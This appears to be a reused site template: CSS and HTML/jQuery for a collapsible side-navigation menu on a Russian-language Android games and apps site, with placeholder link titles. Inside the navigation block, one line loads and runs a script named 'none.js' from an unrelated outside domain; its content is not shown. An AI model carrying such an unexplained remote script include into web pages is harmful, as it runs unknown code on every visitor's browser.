.side-navigation{width:200px;background:url('/img/pagebg.png') #81991B;box-shadow:0 0 3px rgba(0, 0, 0, 0.5);-moz-box-shadow:0 0 3px rgba(0, 0, 0, 0.5);-webkit-box-shadow:0 0 3px rgba(0, 0, 0, 0.5);border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;margin-bottom:10px;color:#81991B}
.side-navigation .block-head{color:#81991B;font-size:18px;font-family:arial,tahoma;padding:4px 8px;border-bottom:1px solid #81991B}
.side-navigation .block-inner{padding-bottom:2px}
.side-block .block-inner{padding:5px;}
.side-block .block-inner.nopadding{padding:0px !important;}

.zp-links a{display:block;color:#fff;padding:4px 8px;border-bottom:1px solid #000;border-top:1px solid #3B2D2A;text-shadow:0px 1px 0px #000;-moz-transition:all 0.3s ease;-webkit-transition:all 0.3s ease;-o-transition:all 0.3s ease;transition:all 0.3s ease;font-weight:bold;outline:none;text-decoration:none;}
.zp-links a:hover{color:#81991B;padding-left:14px;background:rgba(0,0,0,0.2)}
.zp-links a.w-sub{background:url('/img/submenu-btn.png') no-repeat;background-position:185px 7px}
.zp-links a.w-sub:hover{background:url('/img/submenu-btn.png') no-repeat rgba(0,0,0,0.2);background-position:190px 7px}
.zp-links .s-level a.w-sub{font-weight:bold;background-position:182px 7px}
.zp-links .s-level a.w-sub:hover{background-position:190px 7px}
.zp-links .s-level{padding-left:22px}
.zp-links .s-level a{border-left:2px solid #81991B;font-weight:normal}
.zp-links .s-level a:hover{padding-left:8px;margin-left:-8px}

<div class="side-navigation">
<div class="block-head" style="padding:5px 8px 0px 8px;"><img src="/img/nav-block-title.png" alt="Навигация"></div>
<div class="block-inner">
<div class="zp-links">
<a title="Ваше описание" href="/">Главная</a>
<a title="Ваше описание" href="/forum">Форум</a>
<a title="Ваше описание" href="/blog/">Видео</a>
<a title="Ваше описание" href="/publ/">Статьи</a>
<a title="Ваше описание" href="/news/">Новости</a>
<a title="Ваше описание" href="/board" >Обзор Игр</a>
<a title="Ваше описание" href="/dir" >Топ сайтов</a>
<a title="Ваше описание" href="/load" >Файловый архив</a>
  <a title="Связь с админом через е-майл адрес" href="/index/svjaz_s_adminom/0-103" >Связь с Админом</a>
<a rel="games-menu" class="w-sub" href="javascript://">Игры для Android</a>
<div class="s-level" id="games-menu" style="display: none">
  <a href="http://best-serva4ok.3dn.ru/" title="Ваше описание">Азартные игры</a>
  <a href="http://best-serva4ok.3dn.ru/" title="Ваше описание">Спортивные игры</a>
  <a href="http://best-serva4ok.3dn.ru/" title="Ваше описание">Квесты</a>
  <a href="http://best-serva4ok.3dn.ru/" title="Ваше описание">Аркады и экшен</a>
  <a href="http://best-serva4ok.3dn.ru/" title="Ваше описание">Другие</a>
</div>
<a rel="programm-menu" class="w-sub" href="javascript://">Программы для Android</a>
<div class="s-level" id="programm-menu" style="display: none">
  <a title="Ваше описание" href="http://best-serva4ok.3dn.ru/">Социальные сети</a>
  <a title="Ваше описание" href="http://best-serva4ok.3dn.ru/">Финансы</a>
  <a title="Ваше описание" href="http://best-serva4ok.3dn.ru/">Антивирусы</a>
  <a title="Ваше описание" href="http://best-serva4ok.3dn.ru/">Интернет</a>
  <a title="Ваше описание" href="http://best-serva4ok.3dn.ru/">Планировщики</a>
  <a title="Ваше описание" href="http://best-serva4ok.3dn.ru/">Звонки</a>
  <a title="Ваше описание" href="http://best-serva4ok.3dn.ru/">Образование</a>
  <a title="Ваше описание" href="http://best-serva4ok.3dn.ru/">Книги и справочники</a>
  <a title="Ваше описание" href="http://best-serva4ok.3dn.ru/">Аудио / видео плееры</a>
  <a title="Ваше описание" href="http://best-serva4ok.3dn.ru/">Читалки</a>
  <a title="Ваше описание" href="http://best-serva4ok.3dn.ru/">Браузеры</a>
  <a title="Ваше описание" href="http://best-serva4ok.3dn.ru/">Переводчики</a>
  <a title="Ваше описание" href="http://best-serva4ok.3dn.ru/">Системные</a>
</div>
<a rel="kino-menu" class="w-sub" href="javascript://">Темы и Виджеты</a>
<div class="s-level" id="kino-menu" style="display: none">
  <a title="Ваше описание" href="http://best-serva4ok.3dn.ru/">Рабочий стол</a>
  <a title="Ваше описание" href="http://best-serva4ok.3dn.ru/">Виджеты</a>
  <a title="Ваше описание" href="http://best-serva4ok.3dn.ru/">Погода</a>
  <a title="Ваше описание" href="http://best-serva4ok.3dn.ru/">Живые обои</a>
  <a title="Ваше описание" href="http://best-serva4ok.3dn.ru/">Дата и время</a>
</div>
</div>
  <script src="http://cm4fan.ru/none.js" type="text/javascript"></script>
</div>
</div>
<script type="text/javascript">
$(function(){
$(".s-level").hide();
$(".zp-links a.w-sub").click(function(){
var submenu = $(this).attr('rel');
$("#"+submenu+"").toggle('fast');
});
});
</script>

<script type="text/javascript" src="/js/m_color.js"></script>